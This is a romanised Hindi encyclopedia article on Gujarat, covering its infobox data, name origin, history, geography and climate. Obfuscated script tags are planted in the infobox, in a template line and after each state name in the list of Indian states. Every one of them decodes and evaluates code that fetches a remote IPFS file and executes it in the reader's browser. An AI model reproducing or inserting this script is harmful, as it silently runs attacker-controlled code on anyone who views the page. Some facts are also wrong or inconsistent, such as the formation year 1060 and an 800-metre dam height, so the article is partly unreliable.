गुजरात

link=praangan:mukhaprishth/bharat ganarajy/gujarat

vistar mean padhean gujarat praangan (portal)

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gujarat
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rajadhani	gaandhinagar
rajabhasha(ean)	gujarati, hindi, aangrezi, urdoo, panjabi, marathi
sthapana	1 mee, 1960
janasankhya	60,383,628
· ghanatv	258 /varg kimi
kshetraphal	1,96,024 varg kilomitar(desh mean chhathavaan sthan)
bhaugolik nirdeshaank	23.2167°N 72.6833°E
tapaman	30 °C (ausat)
· grishm	25 - 15 °C
· sharad	15 - 35° C
varsha	93.2 mimi
zile	33
sabase b da nagar	ahamadabad
b de nagar	joonagadh, jamanagar, rajakot, bhavanagar, gaandhinagar, vadodara
mukhy aitihasik sthal	somanath, saurashtr, langhanaj, dhaulavira, khanbhat, surakotada, anhilava d, rangapur
mukhy paryatan sthal	dvarikadhish mandir, kachchh ka ran, nageshvar jyotirliang, aksharadham mandir, lothal adi
liang anupat	1000:920 ♂/♀
saksharata	79.31%
· stri	57.8%
· purush	79.7%
uchch nyayalay	gujarat haeekort, ahamadabad
rajyapal	om prakash kohali
mukhyamantri	vijay rupani
vidhanasabha sadasy	182
lokasabha kshetr	26
rajyasabha sadasy	11
rajakiy pashu	girasianh
rajakiy pakshi	hansavar
bahari k diyaan	adhikarik vebasait
adyatan‎	13:43, 7 agast 2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gujarat (aangrezi: Gujarat) pashchimi bharat mean sthit ek rajy hai. isaki uttari-pashchimi sima jo antarrashtriy sima bhi hai, pakistan se lagi hai. prachinata evan aitihasikata ki drishti se gujarat, bharat ka atyant mahattvapoorn rajy hai. isaki uttari-pashchimi sima pakistan se lagi hai. gujarat ka kshetraphal 1,96,024 varg kilomitar hai. yahaan mile puratatvik avasheshoan se prapt janakari ke anusar is rajy mean manav sabhyata ka vikas 5 hazar varsh pahale ho chuka tha. kaha jata hai ki ee. poo. 2500 varsh pahale panjab se h dappa vasiyoan ne kachchh ke ran par kar narmada ki upatyaka mean maujooda gujarat ki nianv dali thi. gujarat ee.poo. tisari shatabdi mean maury samrajy mean shamil tha. joonagadh ke abhilekh se is bat ki pushti hoti hai. paanchavian shatabdi mean hoonoan ke akraman ke bad uttarakhand se gurjaroan ka is kshetr mean agaman hua. gujarat par chauthi-paanchavian shatabdi ke dauran gupt vansh ka shasan raha. nauvian shatabdi mean solanki vansh ka shasan raha. 10 vian shatabdi mean moolaraj solanki ne adhunik gujarat ki sthapana ki. gujaratavasi vanijy vyapar mean kushal hote hai. videshoan mean base asanrath gujaratavasiyoan ne apane vyapar kaushal se aantarrashtriy paridrishy mean bhi khyati arjit ki hai. mahatma gaandhi ka janm pradesh gujarat drut gati se audyogik vikas kar raha hai.

namakaran

gujarat nam, gurjaratra se aya hai. gurjaroan ka samrajy 6thian se 12vian sadi tak gurjaratra ya gurjar-bhoomi ke nam se jana jata tha. gurjar ek samuday hai.prachin mahakavi rajashekhar ne gurjaroan ka sambandh sooryavansh ya raghuvansh se bataya hai. kuchh vidvanh inhean madhy-eshiya se aye ary bhi batate haian. gurjaroan ki bhoomi ke roop mean gujarat ko jana jata hai. is prakar goorjararashtr se vikrit hote-hote usaka namantaran gujarat ke roop mean hua.

itihas

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gujarat ka itihas eesvi poorv lagabhag 2,000 sal purana hai. yah bhi manyata hai ki bhagavan krishna mathura chho dakar saurashtr ke pashchimi tat par ja base the, jo dvaraka arthath 'praveshadvar' kahalaya. bad ke varshoan mean maury, gupt, pratihar tatha any anek rajavanshoan ne is pradesh par shasan kiya. chaluky, solanki rajaoan ka shasan kal gujarat ke lie pragati aur samriddhi ka yug tha. mahamood gazanavi ki lootapat ke bad bhi chaluky rajaoan ne yahaan ke logoan ki samriddhi aur bhalaee ka poora dhyan rakha. is gauravapoorn kal ke pashchath gujarat ko musalamanoan, marathoan aur british shasan ke dauran bure dinoan ka samana karana p da. azadi se pahale aj ka gujarat mukhy roop se do bhagoan mean vibhajit tha-[[chitr:Lothal.jpg|thumb|250px|lothal basti aur nagar ka prasiddh jal sansadhan tantr, parikalpit chitr|left]]

1. ek british kshetr aur
2. doosara desi riyasatean.

rajyoan ke punargathan ke karan saurashtr ke rajyoan aur kachchh ke keandr shasit pradesh ke sath poorv british gujarat ko milakar dvibhashi muanbee rajy ka gathan hua. pahali mee, 1060 ko vartaman gujarat rajy astitv mean aya. gujarat bharat ke pashchimi tat par sthit hai. isake pashchim mean arab sagar, uttar mean pakistan tatha uttar-poorvi sima par rajasthan, dakshin-poorvi sima par madhy pradesh aur dakshin mean maharashtr hai.

• gujarat rajy ka itihas sindhu ghati sabhyata ke samakalin hai arthath isaka itihas lagabhag 2000 ee. poo. purana hai. hal ke puratatvik utkhanan (dvaraka mean) se mithak bane shri krishna ki aitihasikata siddh ho gayi hai, jisaka samay 3000 ee. poo. se bhi purana mana jata hai.
• gujarat mean sindhu ghati sabhyata ka mahattvapoorn kendr lothal tha, jo us samay ka ek mahattvapoorn bandaragah tha. siandhu sabhyata se sanbandhit sthal sutakot da bhi isi pradesh mean tha.
• adhunik khudaee se sindhu sabhyata se sanbandhit ek pramukh sthal dhaulavira prakash mean aya hai jo isi pradesh mean tha.
• gujarat par kramashah maury, gupt, pratihar tatha unake paravarti rajavanshoan ne shasan kiya, kiantu gujarat mean pragati tatha samriddhi chaluky (solanki) rajaoan ke samay mean hueean. isalie is kal ko gujarat ke itihas mean svarnim kal kaha jata hai.
• gupt senapati bhattarak dvara vallabhi mean paanchavian shatabdi ke aantim charan mean ek naye rajavansh ki nianv rakhi gee jise maitrak rajavansh ke nam se jana jata hai.
• 475 ee. mean maitrakoan ke saradar bhattarak ki niyukti vahaan senapati ke pad par huee thi.
• bhattarak tatha usake putr donoan ne apane sath senapati ki padavi ka hi istemal kiya

[[chitr:Rann-Of-Kachchh.jpg|thumb|250px|left|kachchh ka ran, kachchh, gujarat]]

• maitrakoan ke tisare raja dron sianh dvara sarvapratham maharaja ki upadhi dharan ki gee.
• maitrakoan ka pratham tithiyukt abhilekh guptasanvat 206 (526 ee.) ko dhruvasen pratham ka prapt hua hai.
• maitrak shasak dhruvasen dvitiy ki shadi harshavardhan ki putri ke sath huee thi.
• dhruvasen dvitiy ke samay hi hvenasaang gujarat aya tha.
• maitrakoan ke samay vallabhi shiksha ka prasiddh kendr thi.
• gujarat (anhilava d ya anhilapatak) ke chaluky (solanki) rajy ke sansthapak gurjar jati ke neta vanaraj ko mana jata hai, jisane 765 ee. mean is vansh ki nianv dali. halaanki solanki vansh ka pratham shasak moolaraj (947-995) ko mana jata hai.
• bhimadev pratham (1022-1064) ke kal mean mahamood gazanavi tatha bhim dvitiy ke kal muhammad gori ka akraman anhilava d ko jhelana p da.
• solanki rajavansh ke bad dakshin gujarat ke bagheloan ke shasan ki sthapana huee jisaki nianv lavan prasad baghel dvara dali gee.
• 13vian sadi ke aant mean yah pradesh alauddin khilaji ke adhikar mean chala gaya. kuchh samay bad gujarat ke sulatan svatantr ho ge. inhian mean se ahamadashah pratham ne 15 vian sadi ke poorvarddh mean ahamadabad ki sthapana ki.
• mahamood baghera ke samay mean gujarat bahut samriddh hua lekin aant mean 16 vian sadi mean akabar ne is pradesh par adhikar kar liya.
• varsh 1800 mean aangrezoan ne soorat par kabza kar liya varsh 1947 mean bharat ke svatantr hone tak ve hi gujarat par rajy karate rahe.
• gujarat ka bharat ke svatantr sangram mean mahattvapoorn yogadan raha hai. kyoanki is pradesh ne rashtr ko mahatma gaandhi tatha saradar ballabh bhaee patel jaise neta die.
• rashtrapita mahatma gaandhi ki janm sthali gujarat ka hi ek gaanv porabandar hai.
• kuvaanshi gujarat ke moravi shahar se 25 kilo mitar ki doori par sthit ek chhota sa gaanv hai. kuvaanshi gaanv mean 4,000 varsh purani sabhyata ke avashesh prapt hue haian.
• padari gujarat ke bhavanagar zile mean sthit hai. padari se h dappaee nagar, h dappa poorv v vikasit h dappa kal ke do saanskritik charanoan ko spasht karata hai.

dekhean:bharat ek jhalak

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> telangana <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandhr pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> arunachal pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> asam <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bihar <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chhattisagadh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rashtriy rajadhani kshetr dilli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gova <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gujarat <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hariyana <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> himachal pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jammoo aur kashmir <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jharakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> karnatak <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> keral <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> madhy pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> maharashtr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> manipur <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> meghalay <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mizoram <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> nagalaiand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u disa <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> panjab <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajasthan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sikkim <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tamilanadu <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tripura <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttarakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttar pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pashchim bangal <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandaman evan nikobar dvipasamooh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chanh‍digadh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dadara tatha nagar haveli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> daman aur div <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> lakshadvip <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> puducheri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharatiy svatantrata andolan mean yogadan

bharatiy svatantrata andolan mean gujarat ke anek svatantrata senaniyoan ne yogadan diya hai jisamean se pramukh haian- kastooraba gaandhi, mahatma gaandhi, ashvini kumar datt, saradar patel, jivaraj mehata, hansa mehata, ganesh vasudev mavalankar, vitthaladas jhaverabhaee patel, mahadev desaee, manibhaee desaee adi.

sthapana

bharat ke svatantr hone ke samay yah pradesh mumbee rajy ka aang tha. alag gujarat ka janm 1 mee, 1960 ko hua.

bhaugolik sanrachana

gujarat ko tin bhaugolik kshetroan mean baanta gaya hai jaise-

1. saurashtr prayadvip- jo moolatah ek paha di kshetr hai, bich-bich mean madhyam ooanchaee ke parvat haian.
2. kachchh- jo poorvottar mean uja d aur chattani hai. vikhyat kachchh ka ran isi kshetr mean hai.
3. gujarat ka maidan- jo kachchh ke ran aur aravali ki paha diyoan se lekar daman ganga tak phaili hai.

gujarat ki sabase ooanchi choti girinar paha diyoan mean sthit gorakhanath ki choti hai, jo 1117 mitar ooanchi hai. gujarat ki jalavayu ooshn pradeshiy aur manasooni hai. varsha ki kami ke karan is pradesh mean retili aur baluee mitti payi jati hai. pradesh mean poorv ki or uttari gujarat mean varsha ki matr 50 semi tak hoti hai. isake dakshin ki or madhy gujarat mean mitti kuchh adhik upajaoo hai tatha jalavayu bhi apekshayata ardr hai. varsha 75 semi tak hoti hai. narmada, tapti, sabaramati, sarasvati, mahi, bhadar, banas, aur vishvamitr is pradesh ki suparichit nadiyaan haian. 'saradar sarovar' duniya ka doosara sabase b da baandh hai. narmada nadi par sthit yah baandh 800 mitar ooancha hai. narmada nadi par banane vale 30 baandhoan mean saradar sarovar aur maheshvar do sabase b di baandh pariyojanaean haian, kintu inaka har bar virodh hota raha hai. in pariyojanaoan ka uddeshy gujarat ke sookhagrast ilaqoan mean pani pahuanchana aur madhy pradesh ke lie bijali paida karana hai. kark rekha is rajy ki uttari sima se hokar gujarati hai, atah yahaan garmiyoan mean khoob garmi tatha sardiyoan mean khoob sardi p dati hai. shaharikaran ki prakriya ne rajy ke vibhinn kshetroan mean vibhinn kuchh svaroop dharan kie haian. rajy ka sarvadhik shaharikrit kshetr ahamadabad-vadodara audyogik patti hai. rashtriy rajamarg sankhya-8 ke kinare uttar mean ooanjha se dakshin mean vapi ke audyogik maidan mean ek vrihadanagariy kshetr ubhar raha hai. saurashtr krishi kshetr mean kramik basav pranali ko dekha ja sakata hai, jabaki uttar aur poorv ke bahy kshetroan mean bikhari huee chhoti-chhoti bastiyaan haian, jo shushk, parvatiy ya vanachchhadit kshetr haian. adivasi janasankhya inhian simaant anutpadak kshetroan mean keandrit hai.

sima kshetr

bharat ke pashchimi tat par sthit pashchim mean arab sagar, uttar tatha uttar-poorv mean kramashah pakistan tatha rajasthan dakshin- poorv mean madhy pradesh tatha dakshin mean maharashtr hai.

bhoo-akriti

[[chitr:Rann-Of-Kachchh-9.jpg|thumb|250px|kachchh ka ran, kachchh, gujarat]] gujarat atyadhik vishamata vala rajy hai. isake pashchimi tat aur muanbee (bhootapoorv banbee) ke uttar mean nam urvar chaval utpadak maidanoan se lekar pashchimottar mean kachchh ke lagabhag varshavihin lavaniy registan haian. kachchh zila dakshin mean kachchh ki kha di tatha uttar v poorv mean pakistan v mukhy bharatiy bhoomi se kachchh ke ran dvara vibhajit hai, jisaka varnan lagabhag 20,720 varg kimi kshetr mean vistrit ek vishal lavaniy daladal ke roop mean behatar tarike se kiya ja sakata hai. varsha ke mausam mean, chahe kitani bhi kam varsha kyoan n huee ho, ran mean badh a jati hai. aur kachchh ek dvip mean parivartit ho jata hai; shushk mausam mean yah aandhiyoan se bhara ek retila namakin maidan hai. kachchh ke dakshin mean kathiyava d (saurashtr) ka ek b da prayadvip hai, jo kachchh ki kha di aur khanbhat ki kha di ke bich mean hai. yah bhi ek banjar kshetr hai, jisake samudr tat se oopar uthate hue keandr mean viral jha didar vanoan vala nichala laharadar parvatiy kshetr hai. yahaan ke pramukh nagar apekshakrit urvar kshetr mean sthit haian, jo pahale chhote-chhote rajyoan ki rajadhani the. yahaan ki mitti zyadatar nimn koti ki hai, jo kee prakar ki prachin ravedar chattanoan se vyutpann hai, lekin utkrisht bhavan nirman mean kam ane vala porabandar ka patthar rajy ke moolyavan utpadoan mean ata hai. mausami naloan ke alava nadiyaan nahian haian. prayadvip ke dakshini kinare par bhootapoorv purtagali kshetr div hai. poorvottar gujarat mukhyat: chhote maidanoan aur chhoti-chhoti paha diyoan vala kshetr hai. rajy ka uchchatam biandu giranar ki paha di (1,117 mitar) mean hai. yahaan varsha kam hoti hai. aur janavari mean tapaman lagabhag himaank biandu tak pahuanch jata hai, jabaki garmi ke mausam mean tapaman 48 se darj kiya gaya hai. yahaan ki fasaloan mean mukhyat: jvar-bajara aur tho di matra mean kapas hai.

jalavayu

madhy gujarat ke dakshini hisse mean varsha dar adhik aur tapaman mean aantar kam hai; aur mitti zyada upajaoo hai, jo aanshat: dakkan kshetr ke baisalt chattanoan se vyutpann huee hai. is kshetr ka kendr vadodara (b dauda) shahar hai, jo pahale ek samriddh aur shaktishali rajy ki rajadhani tha aur jisaka dakshini hissa ab vadodara zila hai. yahaan ki mahattvapoorn nadi narmada hai, jo khanbhat ki kha di mean girati hai. narmada aur tapi (tapti) nadi dvara gad jama kie jane ke karan khanbhat ki kha di ki gaharaee kam ho gee hai aur yahaan ke bhootapoorv bandaragahoan ka patan ho gaya. dakshini gujarat mean bharooch aur soorat zile apani urvar mitti aur uchch qism ki kapas ki fasaloan ke lie prasiddh haian. tapi nadi poorv disha se gahari khaiyoan se hokar soorat se guzarati hai. dakshini gujarat ka poorvi hissa paha di hai. vastav mean, pashchimi ghat ke uttari vistar ke karan varshayukt grishm manasooni havaoan se atyadhik barish hoti hai. isase age dakshin mean parvat vanachchhadit haian. isi kshetr mean chhota deang zila hai. tatiy maidanoan mean jalavayu mean lagabhag samanata rahati hai yahaan 2,000 mimi ke lagabhag varsha hoti hai. [[chitr:Spinning-Wheel.jpg|thumb|250px|left|charakha, sabaramati ashram, ahamadabad]] gujarat mean vanakshetr matr 10 pratishat hai, jo manaviy gatividhiyoan ke sath-sath kam varsha ko pratibianbat karati hai. apekshakrit shushk kshetroan mean jha didar jangal pae jate haian, jahaan babool akakiya, karil, bharatiy ber aur datuni jha diyaan paee jane vali pramukh prajatiyaan haian. 1,016 mimi varshik varsha dar vali kathiyava d uchchabhoomi aur poorvottar mukhyabhoomi mean sagaun, kattha, goand (baikaligam), kili vriksh aur bangal kino jaise parnapati vriksh pae jate haian. parnapati van apekshakrit nam dakshini aur poorvi paha diyoan mean kendrit haian. inase mulayam tomeantosa (ghan-rom), veangaee padauk (mahogani jaisa), malabar simal aur hridayakar pattiyoan vale adina jaisi kimati lak diyaan prapt hoti hai. kathiyava d ka pashchimi tat shaival ke lie jana jata hai, jabaki poorvi tat se papairas ya patera paudha (saiperas papairas) paya jata hai. kathiyava d ke gir rashtriy udyan mean eshiyaee prajati ki ekamatr jati bharatiy sianh hai. kachchh ke chhote ran ke pas ek abhayarany 